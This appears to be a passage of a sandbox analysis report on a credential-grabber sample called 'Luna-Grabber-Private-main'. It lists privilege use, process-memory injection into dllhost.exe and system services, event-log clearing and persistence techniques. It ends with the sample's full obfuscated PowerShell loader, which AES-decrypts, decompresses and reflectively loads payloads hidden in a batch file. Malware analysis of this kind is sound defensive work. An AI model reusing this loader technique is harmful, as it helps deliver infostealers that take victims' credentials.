Token: SeDebugPrivilege	2000	$sxr-powershell.exe
Token: SeDebugPrivilege	4812	$sxr-powershell.exe
Token: SeDebugPrivilege	1008	$sxr-powershell.exe
Token: SeDebugPrivilege	4364	dllhost.exe
Token: SeShutdownPrivilege	5356	svchost.exe
Token: SeCreatePagefilePrivilege	5356	svchost.exe
Token: SeShutdownPrivilege	5356	svchost.exe
Token: SeCreatePagefilePrivilege	5356	svchost.exe
Token: SeShutdownPrivilege	5356	svchost.exe
Token: SeCreatePagefilePrivilege	5356	svchost.exe
Token: SeAssignPrimaryTokenPrivilege	2280	svchost.exe
Token: SeIncreaseQuotaPrivilege	2280	svchost.exe
Token: SeSecurityPrivilege	2280	svchost.exe
Token: SeTakeOwnershipPrivilege	2280	svchost.exe
Token: SeLoadDriverPrivilege	2280	svchost.exe
Token: SeBackupPrivilege	2280	svchost.exe
Token: SeRestorePrivilege	2280	svchost.exe
Token: SeShutdownPrivilege	2280	svchost.exe
Token: SeSystemEnvironmentPrivilege	2280	svchost.exe
Token: SeManageVolumePrivilege	2280	svchost.exe
Token: SeAssignPrimaryTokenPrivilege	2280	svchost.exe
Token: SeIncreaseQuotaPrivilege	2280	svchost.exe
Token: SeSecurityPrivilege	2280	svchost.exe
Token: SeTakeOwnershipPrivilege	2280	svchost.exe
Token: SeLoadDriverPrivilege	2280	svchost.exe
Token: SeSystemtimePrivilege	2280	svchost.exe
Token: SeBackupPrivilege	2280	svchost.exe
Token: SeRestorePrivilege	2280	svchost.exe
Token: SeShutdownPrivilege	2280	svchost.exe
Token: SeSystemEnvironmentPrivilege	2280	svchost.exe
Token: SeUndockPrivilege	2280	svchost.exe
Token: SeManageVolumePrivilege	2280	svchost.exe
Token: SeAssignPrimaryTokenPrivilege	2280	svchost.exe
Token: SeIncreaseQuotaPrivilege	2280	svchost.exe
Token: SeSecurityPrivilege	2280	svchost.exe
Token: SeTakeOwnershipPrivilege	2280	svchost.exe
Token: SeLoadDriverPrivilege	2280	svchost.exe
Token: SeSystemtimePrivilege	2280	svchost.exe
Token: SeBackupPrivilege	2280	svchost.exe
Token: SeRestorePrivilege	2280	svchost.exe
Token: SeShutdownPrivilege	2280	svchost.exe
Token: SeSystemEnvironmentPrivilege	2280	svchost.exe
Token: SeUndockPrivilege	2280	svchost.exe
Token: SeManageVolumePrivilege	2280	svchost.exe
Token: SeDebugPrivilege	1684	wmiprvse.exe
Token: SeAuditPrivilege	2392	svchost.exe
Token: SeAuditPrivilege	2812	svchost.exe
Token: SeAuditPrivilege	2812	svchost.exe
Token: SeAssignPrimaryTokenPrivilege	2280	svchost.exe
Token: SeIncreaseQuotaPrivilege	2280	svchost.exe
Token: SeSecurityPrivilege	2280	svchost.exe

Suspicious use of SetWindowsHookEx 5 IoCs

pid	Process
1008	$sxr-powershell.exe
4040	$sxr-powershell.exe
6348	Conhost.exe
1896	$sxr-powershell.exe
2772	Conhost.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 1488 wrote to memory of 2968	1488	cmd.exe	91
PID 2968 wrote to memory of 2068	2968	setup.bat.exe	93
PID 2968 wrote to memory of 2068	2968	setup.bat.exe	93
PID 2968 wrote to memory of 2068	2968	setup.bat.exe	93
PID 2968 wrote to memory of 2068	2968	setup.bat.exe	93
PID 2968 wrote to memory of 2068	2968	setup.bat.exe	93
PID 2968 wrote to memory of 1008	2968	setup.bat.exe	94
PID 1008 wrote to memory of 2116	1008	$sxr-powershell.exe	97
PID 1008 wrote to memory of 2116	1008	$sxr-powershell.exe	97
PID 1008 wrote to memory of 2116	1008	$sxr-powershell.exe	97
PID 1008 wrote to memory of 2116	1008	$sxr-powershell.exe	97
PID 1008 wrote to memory of 2116	1008	$sxr-powershell.exe	97
PID 1008 wrote to memory of 4944	1008	$sxr-powershell.exe	99
PID 1008 wrote to memory of 4392	1008	$sxr-powershell.exe	100
PID 1008 wrote to memory of 4868	1008	$sxr-powershell.exe	101
PID 1008 wrote to memory of 4444	1008	$sxr-powershell.exe	102
PID 1008 wrote to memory of 700	1008	$sxr-powershell.exe	103
PID 1008 wrote to memory of 4804	1008	$sxr-powershell.exe	104
PID 1008 wrote to memory of 1812	1008	$sxr-powershell.exe	105
PID 1008 wrote to memory of 4040	1008	$sxr-powershell.exe	106
PID 1008 wrote to memory of 2000	1008	$sxr-powershell.exe	107
PID 1008 wrote to memory of 4812	1008	$sxr-powershell.exe	108
PID 1008 wrote to memory of 4364	1008	$sxr-powershell.exe	109
PID 1008 wrote to memory of 4364	1008	$sxr-powershell.exe	109
PID 1008 wrote to memory of 4364	1008	$sxr-powershell.exe	109
PID 1008 wrote to memory of 4364	1008	$sxr-powershell.exe	109
PID 1008 wrote to memory of 4364	1008	$sxr-powershell.exe	109
PID 1008 wrote to memory of 4364	1008	$sxr-powershell.exe	109
PID 4364 wrote to memory of 620	4364	dllhost.exe	5
PID 4364 wrote to memory of 676	4364	dllhost.exe	7
PID 4364 wrote to memory of 876	4364	dllhost.exe	11
PID 4364 wrote to memory of 1016	4364	dllhost.exe	13
PID 4364 wrote to memory of 516	4364	dllhost.exe	14
PID 4364 wrote to memory of 420	4364	dllhost.exe	15
PID 4364 wrote to memory of 1100	4364	dllhost.exe	16
PID 4364 wrote to memory of 1124	4364	dllhost.exe	18
PID 4364 wrote to memory of 1160	4364	dllhost.exe	19
PID 4364 wrote to memory of 1264	4364	dllhost.exe	20
PID 4364 wrote to memory of 1284	4364	dllhost.exe	21
PID 4364 wrote to memory of 1308	4364	dllhost.exe	22
PID 4364 wrote to memory of 1336	4364	dllhost.exe	23
PID 4364 wrote to memory of 1464	4364	dllhost.exe	24
PID 4364 wrote to memory of 1556	4364	dllhost.exe	25
PID 4364 wrote to memory of 1600	4364	dllhost.exe	26
PID 4364 wrote to memory of 1616	4364	dllhost.exe	27
PID 4364 wrote to memory of 1624	4364	dllhost.exe	28
PID 4364 wrote to memory of 1724	4364	dllhost.exe	29
PID 4364 wrote to memory of 1792	4364	dllhost.exe	30
PID 4364 wrote to memory of 1872	4364	dllhost.exe	31
PID 4364 wrote to memory of 1912	4364	dllhost.exe	32
PID 4364 wrote to memory of 1960	4364	dllhost.exe	33
PID 4364 wrote to memory of 1972	4364	dllhost.exe	34
PID 4364 wrote to memory of 1612	4364	dllhost.exe	35
PID 4364 wrote to memory of 1888	4364	dllhost.exe	36
PID 4364 wrote to memory of 1944	4364	dllhost.exe	37
PID 4364 wrote to memory of 2104	4364	dllhost.exe	38
PID 4364 wrote to memory of 2272	4364	dllhost.exe	39
PID 4364 wrote to memory of 2280	4364	dllhost.exe	40
PID 4364 wrote to memory of 2348	4364	dllhost.exe	42
PID 4364 wrote to memory of 2392	4364	dllhost.exe	43
PID 4364 wrote to memory of 2632	4364	dllhost.exe	45
PID 4364 wrote to memory of 2640	4364	dllhost.exe	46
PID 4364 wrote to memory of 2780	4364	dllhost.exe	47
PID 4364 wrote to memory of 2812	4364	dllhost.exe	48

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

Views/modifies file attributes 1 TTPs 1 IoCs

Hidden Files and Directories

T1564.001

pid	Process
2128	attrib.exe

C:\Windows\system32\winlogon.exe
winlogon.exe
1⤵
PID:620
- C:\Windows\system32\dwm.exe
  "dwm.exe"
  2⤵
  PID:516
- C:\Windows\System32\dllhost.exe
  C:\Windows\System32\dllhost.exe /Processid:{e66ceda8-2ffe-479c-a6fa-c397d2b674f9}
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2068
- C:\Windows\System32\dllhost.exe
  C:\Windows\System32\dllhost.exe /Processid:{e757c6a6-7037-4221-8fa9-eeadc473c906}
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2116
- C:\Windows\System32\dllhost.exe
  C:\Windows\System32\dllhost.exe /Processid:{c035ea35-bde8-4ce5-9bfa-42a6ce2efc8a}
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:4364
- C:\Windows\System32\dllhost.exe
  C:\Windows\System32\dllhost.exe /Processid:{6e44bff9-8fdb-460f-b77d-4d15f4d04a58}
  2⤵
  PID:5668
- C:\Windows\System32\dllhost.exe
  C:\Windows\System32\dllhost.exe /Processid:{e5634e03-e054-40e7-b047-324e1e0aec3b}
  2⤵
  PID:4304
- C:\Windows\System32\dllhost.exe
  C:\Windows\System32\dllhost.exe /Processid:{fc639a10-7b64-45a5-8fb3-08e06f1146b1}
  2⤵
  PID:5204
- C:\Windows\System32\dllhost.exe
  C:\Windows\System32\dllhost.exe /Processid:{a3d2fa34-94fb-4f6c-bd8a-047d68d40f09}
  2⤵
  PID:4788
- C:\Windows\System32\dllhost.exe
  C:\Windows\System32\dllhost.exe /Processid:{feafe76c-db00-4b29-bb3a-18e77db3f0c1}
  2⤵
  PID:4892
- C:\Windows\System32\dllhost.exe
  C:\Windows\System32\dllhost.exe /Processid:{706ab654-0834-43a4-9b01-9a9d7152d9f2}
  2⤵
  PID:4916
- C:\Windows\System32\dllhost.exe
  C:\Windows\System32\dllhost.exe /Processid:{4c8939bf-4a18-4efd-aac8-e18b8aa70562}
  2⤵
  PID:1852
- C:\Windows\System32\dllhost.exe
  C:\Windows\System32\dllhost.exe /Processid:{b71e8feb-4002-4339-9cf9-94fd86431f93}
  2⤵
  PID:4940
- C:\Windows\System32\dllhost.exe
  C:\Windows\System32\dllhost.exe /Processid:{b1002825-7643-4de7-9852-d264b02605bd}
  2⤵
  PID:860
- C:\Windows\System32\dllhost.exe
  C:\Windows\System32\dllhost.exe /Processid:{3eda3775-88bc-4c25-b804-34f5348466d3}
  2⤵
  PID:1692
- C:\Windows\System32\dllhost.exe
  C:\Windows\System32\dllhost.exe /Processid:{3b1e7df3-506a-4377-ba29-11878decd908}
  2⤵
  PID:2388
- C:\Windows\System32\dllhost.exe
  C:\Windows\System32\dllhost.exe /Processid:{3ef92ba6-c389-4fa5-8a15-526b8590c68b}
  2⤵
  PID:4972
- C:\Windows\System32\dllhost.exe
  C:\Windows\System32\dllhost.exe /Processid:{e62ffbf3-0a7f-42b2-b278-d40628702d31}
  2⤵
  PID:3044
- C:\Windows\System32\dllhost.exe
  C:\Windows\System32\dllhost.exe /Processid:{f7287380-aa1e-4263-8b79-c033769d848d}
  2⤵
  PID:5796
- C:\Windows\System32\dllhost.exe
  C:\Windows\System32\dllhost.exe /Processid:{9eb0bc4e-1ac6-4220-bb48-136bfdf37f2a}
  2⤵
  PID:3928
- C:\Windows\System32\dllhost.exe
  C:\Windows\System32\dllhost.exe /Processid:{bb67847f-fc21-4e7f-aee6-5a378dbe9805}
  2⤵
  PID:6020
- C:\Windows\System32\dllhost.exe
  C:\Windows\System32\dllhost.exe /Processid:{451beea5-30c8-4b9b-a39e-2f66e1811cc8}
  2⤵
  PID:1676
- C:\Windows\System32\dllhost.exe
  C:\Windows\System32\dllhost.exe /Processid:{40be5df4-67e2-4ace-8d5d-7c51c552bb77}
  2⤵
  PID:5236
- C:\Windows\System32\dllhost.exe
  C:\Windows\System32\dllhost.exe /Processid:{50a74a6f-e6ed-434f-b428-792b34594386}
  2⤵
  PID:4288
- C:\Windows\System32\dllhost.exe
  C:\Windows\System32\dllhost.exe /Processid:{d09200dd-a745-4b71-a62f-413875c6191c}
  2⤵
  PID:6644
- C:\Windows\System32\dllhost.exe
  C:\Windows\System32\dllhost.exe /Processid:{1049afd0-b822-4ce4-a852-4e7e2f36fdb9}
  2⤵
  PID:3284
- C:\Windows\System32\dllhost.exe
  C:\Windows\System32\dllhost.exe /Processid:{ab9fab40-e3cd-4b01-b21d-e09788a1319e}
  2⤵
  PID:3996
- C:\Windows\System32\dllhost.exe
  C:\Windows\System32\dllhost.exe /Processid:{7d630499-630f-4117-867c-78abd4e5aecc}
  2⤵
  PID:1868
- C:\Windows\System32\dllhost.exe
  C:\Windows\System32\dllhost.exe /Processid:{c587f94a-a8a1-4743-b208-6b2e35819270}
  2⤵
  PID:1640
- C:\Windows\System32\dllhost.exe
  C:\Windows\System32\dllhost.exe /Processid:{99ad5c2b-b44d-47e6-9ddb-9e2201375b22}
  2⤵
  PID:6228
- C:\Windows\System32\dllhost.exe
  C:\Windows\System32\dllhost.exe /Processid:{46ab28b8-ebb6-4979-8b4b-838016c011d2}
  2⤵
  PID:6828
- C:\Windows\System32\dllhost.exe
  C:\Windows\System32\dllhost.exe /Processid:{7534a609-2676-4aa4-9f4b-2f755197416a}
  2⤵
  PID:3820
- C:\Windows\System32\dllhost.exe
  C:\Windows\System32\dllhost.exe /Processid:{75b8865a-2e22-4b3e-b38c-7e27abec6eaf}
  2⤵
  PID:4688
- C:\Windows\System32\dllhost.exe
  C:\Windows\System32\dllhost.exe /Processid:{f94bebbe-f7ec-46f0-a23c-e465f6ecf844}
  2⤵
  PID:5592
- C:\Windows\System32\dllhost.exe
  C:\Windows\System32\dllhost.exe /Processid:{247ad082-6450-48d7-8484-ec9eac0c3beb}
  2⤵
  PID:2008
- C:\Windows\System32\dllhost.exe
  C:\Windows\System32\dllhost.exe /Processid:{56d10871-0404-490e-9a01-a5e8a4e7dcae}
  2⤵
  PID:5632
- C:\Windows\System32\dllhost.exe
  C:\Windows\System32\dllhost.exe /Processid:{9b845656-3064-4e60-ac9a-6f35f52300db}
  2⤵
  PID:6276
- C:\Windows\System32\dllhost.exe
  C:\Windows\System32\dllhost.exe /Processid:{f157466c-01d0-40c4-9a9a-be239679617d}
  2⤵
  PID:6252
- C:\Windows\System32\dllhost.exe
  C:\Windows\System32\dllhost.exe /Processid:{73307ad8-aef0-44df-8327-f4bf2db3a8dc}
  2⤵
  PID:6312
- C:\Windows\System32\dllhost.exe
  C:\Windows\System32\dllhost.exe /Processid:{6cb73b7c-2927-480c-81e4-9afbf39eda1a}
  2⤵
  PID:6428
- C:\Windows\System32\dllhost.exe
  C:\Windows\System32\dllhost.exe /Processid:{f1b08d3c-e279-4498-acb3-031d3c0f0edd}
  2⤵
  PID:6488
- C:\Windows\System32\dllhost.exe
  C:\Windows\System32\dllhost.exe /Processid:{6ec6c7b5-50da-464f-9965-d58bf53b26c5}
  2⤵
  PID:2600
- C:\Windows\System32\dllhost.exe
  C:\Windows\System32\dllhost.exe /Processid:{24aad4c7-997f-4c1c-8618-91533aa80548}
  2⤵
  PID:6684
- C:\Windows\System32\dllhost.exe
  C:\Windows\System32\dllhost.exe /Processid:{80728671-7231-4150-910b-f757dc4825a9}
  2⤵
  PID:6556
- C:\Windows\System32\dllhost.exe
  C:\Windows\System32\dllhost.exe /Processid:{8a6b6ff2-bca5-451e-bc9f-6dd6ed56eef6}
  2⤵
  PID:6556
- C:\Windows\System32\dllhost.exe
  C:\Windows\System32\dllhost.exe /Processid:{3224c9be-3032-484c-a368-ea7a758cefcf}
  2⤵
  PID:4928
- C:\Windows\System32\dllhost.exe
  C:\Windows\System32\dllhost.exe /Processid:{87d4cec7-85fe-465c-bc7b-f338a05eef20}
  2⤵
  PID:4496
- C:\Windows\System32\dllhost.exe
  C:\Windows\System32\dllhost.exe /Processid:{2a7ba7dd-b9e5-4207-9670-4cdee9c20d40}
  2⤵
  PID:4432
- C:\Windows\System32\dllhost.exe
  C:\Windows\System32\dllhost.exe /Processid:{3ef7f309-d9c0-4696-a41f-8cafe02b8725}
  2⤵
  PID:6620
- C:\Windows\System32\dllhost.exe
  C:\Windows\System32\dllhost.exe /Processid:{104d6110-7359-4e48-82b1-c89943240d66}
  2⤵
  PID:4628
- C:\Windows\System32\dllhost.exe
  C:\Windows\System32\dllhost.exe /Processid:{b1847626-ccfa-421c-aa07-c506aa02dc2c}
  2⤵
  PID:4764
- C:\Windows\System32\dllhost.exe
  C:\Windows\System32\dllhost.exe /Processid:{e49f5606-c453-4cdd-8670-ccf01609157d}
  2⤵
  PID:2428
- C:\Windows\System32\dllhost.exe
  C:\Windows\System32\dllhost.exe /Processid:{f408f28d-3150-4f59-a1e6-32886b28a040}
  2⤵
  PID:6736
- C:\Windows\System32\dllhost.exe
  C:\Windows\System32\dllhost.exe /Processid:{24ab090d-5e43-46b5-ab19-311b3f85ec99}
  2⤵
  PID:864
- C:\Windows\System32\dllhost.exe
  C:\Windows\System32\dllhost.exe /Processid:{8cedf33b-9f11-49fc-b6fa-a768d6c09d48}
  2⤵
  PID:6916
- C:\Windows\System32\dllhost.exe
  C:\Windows\System32\dllhost.exe /Processid:{6d312262-7f6e-4dae-bccc-202e4c5300be}
  2⤵
  PID:6348
- C:\Windows\System32\dllhost.exe
  C:\Windows\System32\dllhost.exe /Processid:{47254d85-c3c9-4a16-aa7b-5725627fbf17}
  2⤵
  PID:8176
- C:\Windows\System32\dllhost.exe
  C:\Windows\System32\dllhost.exe /Processid:{dd32ffa1-7faa-472a-9cdb-d8ea9977acca}
  2⤵
  PID:8072
- C:\Windows\System32\dllhost.exe
  C:\Windows\System32\dllhost.exe /Processid:{d48f350f-d7cc-40a1-8851-f8208d3a1f85}
  2⤵
  PID:8004
- C:\Windows\System32\dllhost.exe
  C:\Windows\System32\dllhost.exe /Processid:{e5de475c-7966-439c-be18-f1fd176f0bdb}
  2⤵
  PID:7780
- C:\Windows\System32\dllhost.exe
  C:\Windows\System32\dllhost.exe /Processid:{bfca44fd-7dec-4c77-b999-99691da26448}
  2⤵
  PID:7316
- C:\Windows\System32\dllhost.exe
  C:\Windows\System32\dllhost.exe /Processid:{19b0e263-5341-46e8-97eb-922f90f0b1f4}
  2⤵
  PID:7224
- C:\Windows\System32\dllhost.exe
  C:\Windows\System32\dllhost.exe /Processid:{371f9dbd-2386-46f3-968b-6195fbcec7f4}
  2⤵
  PID:8160
- C:\Windows\System32\dllhost.exe
  C:\Windows\System32\dllhost.exe /Processid:{a5f3059e-4c68-4694-8287-b8d0dcfe524c}
  2⤵
  PID:7540
- C:\Windows\System32\dllhost.exe
  C:\Windows\System32\dllhost.exe /Processid:{8e7ed3d5-2d9a-4731-b5a5-1e16e55c7b8f}
  2⤵
  PID:3244
- C:\Windows\System32\dllhost.exe
  C:\Windows\System32\dllhost.exe /Processid:{88ba7b0d-79fc-4397-9f36-8be5a0c595c3}
  2⤵
  PID:7212
- C:\Windows\System32\dllhost.exe
  C:\Windows\System32\dllhost.exe /Processid:{6dbf516d-203f-471f-be30-1e72a62efb3e}
  2⤵
  PID:7236
- C:\Windows\System32\dllhost.exe
  C:\Windows\System32\dllhost.exe /Processid:{178ef9c8-0bd9-4442-9083-6d5d50bf849a}
  2⤵
  PID:8272
- C:\Windows\System32\dllhost.exe
  C:\Windows\System32\dllhost.exe /Processid:{d641c79c-dcec-406d-80ad-460c00daf7c8}
  2⤵
  PID:4268
- C:\Windows\System32\dllhost.exe
  C:\Windows\System32\dllhost.exe /Processid:{c351737a-1550-40dc-9de3-37cbda3c77e2}
  2⤵
  PID:2600
- C:\Windows\System32\dllhost.exe
  C:\Windows\System32\dllhost.exe /Processid:{cfa3a0ee-e353-43e1-a794-f43dd6a9dacd}
  2⤵
  PID:1472
- C:\Windows\System32\dllhost.exe
  C:\Windows\System32\dllhost.exe /Processid:{77731f36-be30-4731-b6c3-7568331f6a32}
  2⤵
  PID:8228
- C:\Windows\System32\dllhost.exe
  C:\Windows\System32\dllhost.exe /Processid:{a0c1f30d-0888-4b6a-9e2c-e9b9e361696b}
  2⤵
  PID:8016
- C:\Windows\System32\dllhost.exe
  C:\Windows\System32\dllhost.exe /Processid:{2c47b8df-1a22-494e-a287-103816087b39}
  2⤵
  PID:8328
- C:\Windows\System32\dllhost.exe
  C:\Windows\System32\dllhost.exe /Processid:{e26e668f-0867-4e65-bf13-8ede55f12064}
  2⤵
  PID:8368
- C:\Windows\System32\dllhost.exe
  C:\Windows\System32\dllhost.exe /Processid:{f5dbfaaa-0fec-44ac-b616-c2b9db67bb53}
  2⤵
  PID:8360
- C:\Windows\System32\dllhost.exe
  C:\Windows\System32\dllhost.exe /Processid:{e14e9b4d-9e45-41bc-824a-96901bd17f91}
  2⤵
  PID:8356
- C:\Windows\System32\dllhost.exe
  C:\Windows\System32\dllhost.exe /Processid:{45be0997-67ba-4bec-af13-b4359251e5b2}
  2⤵
  PID:8436
- C:\Windows\System32\dllhost.exe
  C:\Windows\System32\dllhost.exe /Processid:{685c514a-a3d2-4479-a18f-3267080baa46}
  2⤵
  PID:9188
- C:\Windows\System32\dllhost.exe
  C:\Windows\System32\dllhost.exe /Processid:{6e9baae5-af68-4aff-9e88-7c368b06996e}
  2⤵
  PID:8576

C:\Windows\system32\lsass.exe
C:\Windows\system32\lsass.exe
1⤵
PID:676

C:\Windows\System32\WUDFHost.exe
"C:\Windows\System32\WUDFHost.exe" -HostGUID:{193a1820-d9ac-4997-8c55-be817523f6aa} -IoEventPortName:\UMDFCommunicationPorts\WUDF\HostProcess-f4df7c01-b0c0-49c5-bcea-f1ffe4f6e3e9 -SystemEventPortName:\UMDFCommunicationPorts\WUDF\HostProcess-0631fabe-63f0-4a37-b58c-b54e51c057b5 -IoCancelEventPortName:\UMDFCommunicationPorts\WUDF\HostProcess-386c04f1-f8eb-43b1-ad89-9ab04a44b88d -NonStateChangingEventPortName:\UMDFCommunicationPorts\WUDF\HostProcess-f399c710-2187-46cf-b6da-79cf1bef52df -LifetimeId:9cfa7f7c-736f-4023-85c0-8eb95c14f9fe -DeviceGroupId:WudfDefaultDevicePool -HostArg:0
1⤵
PID:876

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM
1⤵
PID:1016

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc
1⤵
PID:420

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts
1⤵
PID:1100

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService
1⤵
PID:1124

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc
1⤵
PID:1160

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule
1⤵
- Drops file in System32 directory
PID:1264
- C:\Windows\system32\taskhostw.exe
  taskhostw.exe {222A245B-E637-4AE9-A93F-A59CA119A75E}
  2⤵
  PID:764

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s DisplayEnhancementService
1⤵
PID:1284

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog
1⤵
- Indicator Removal: Clear Windows Event Logs
PID:1308

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc
1⤵
PID:1336

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc
1⤵
PID:1464

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s nsi
1⤵
PID:1556

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager
1⤵
PID:1600
- C:\Windows\system32\sihost.exe
  sihost.exe
  2⤵
  PID:2984

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s Themes
1⤵
PID:1616

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem
1⤵
PID:1624

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp
1⤵
PID:1724

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s SENS
1⤵
PID:1792

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k NetworkService -p -s NlaSvc
1⤵
PID:1872

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder
1⤵
PID:1912

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalService -p -s netprofm
1⤵
PID:1960

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:1972

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k appmodel -p -s StateRepository
1⤵
PID:1612

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:1888

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkService -p -s Dnscache
1⤵
PID:1944

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s ShellHWDetection
1⤵
PID:2104

C:\Windows\System32\spoolsv.exe
C:\Windows\System32\spoolsv.exe
1⤵
PID:2272

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Winmgmt
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2280

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -s RmSvc
1⤵
PID:2348

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k NetworkService -p -s LanmanWorkstation
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2392

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s IKEEXT
1⤵
PID:2632

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted -p -s PolicyAgent
1⤵
PID:2640

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkService -p -s CryptSvc
1⤵
- Modifies data under HKEY_USERS
PID:2780

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s LanmanServer
1⤵
- Enumerates connected drives
- Suspicious use of AdjustPrivilegeToken
PID:2812

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s TrkWks
1⤵
PID:2872

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s WpnService
1⤵
PID:2880

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPUserSvc
1⤵
PID:3052

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s TokenBroker
1⤵
PID:3104

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s CDPSvc
1⤵
PID:3228

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
- Suspicious behavior: GetForegroundWindowSpam
PID:3320
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\Luna-Grabber-Private-main\setup.bat"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:1488
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:3792
- - C:\Users\Admin\AppData\Local\Temp\Luna-Grabber-Private-main\setup.bat.exe
    "setup.bat.exe" -noprofile -windowstyle hidden -ep bypass -command function jxtcV($aIXIl){ $oBmvr=[System.Security.Cryptography.Aes]::Create(); $oBmvr.Mode=[System.Security.Cryptography.CipherMode]::CBC; $oBmvr.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $oBmvr.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('IjRkxJ4n7EXxb1o/z+hU4NvnMx6aNm4Z9EztR56sZPc='); $oBmvr.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('CpoVaKizop7hXIkVETHQAA=='); $OuLmf=$oBmvr.CreateDecryptor(); $return_var=$OuLmf.TransformFinalBlock($aIXIl, 0, $aIXIl.Length); $OuLmf.Dispose(); $oBmvr.Dispose(); $return_var;}function oxtds($aIXIl){ $kqAmJ=New-Object System.IO.MemoryStream(,$aIXIl); $TGxKn=New-Object System.IO.MemoryStream; $saeTs=New-Object System.IO.Compression.GZipStream($kqAmJ, [IO.Compression.CompressionMode]::Decompress); $saeTs.CopyTo($TGxKn); $saeTs.Dispose(); $kqAmJ.Dispose(); $TGxKn.Dispose(); $TGxKn.ToArray();}function boNHQ($aIXIl,$OoeMZ){ $ZMfYE=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$aIXIl); $pMEKp=$ZMfYE.EntryPoint; $pMEKp.Invoke($null, $OoeMZ);}$BUtZZ=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\Luna-Grabber-Private-main\setup.bat').Split([Environment]::NewLine);foreach ($mvlQo in $BUtZZ) { if ($mvlQo.StartsWith(':: ')) { $iarRj=$mvlQo.Substring(3); break; }}$xLQWJ=[string[]]$iarRj.Split('\');$lJPzy=oxtds (jxtcV ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($xLQWJ[0])));$dVrTw=oxtds (jxtcV ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($xLQWJ[1])));boNHQ $dVrTw (,[string[]] ('', 'idTznCCsreqaEEjvuwzuTuitglIVMFHEuLsTnnuHsLwyMmxaqK', 'LkIzMJCsatThEdeYOSSAwnZMOfyqejPcYtnoxQiuObLPDohIJN'));boNHQ $lJPzy (,[string[]] ('', 'idTznCCsreqaEEjvuwzuTuitglIVMFHEuLsTnnuHsLwyMmxaqK', 'LkIzMJCsatThEdeYOSSAwnZMOfyqejPcYtnoxQiuObLPDohIJN'));
    3⤵
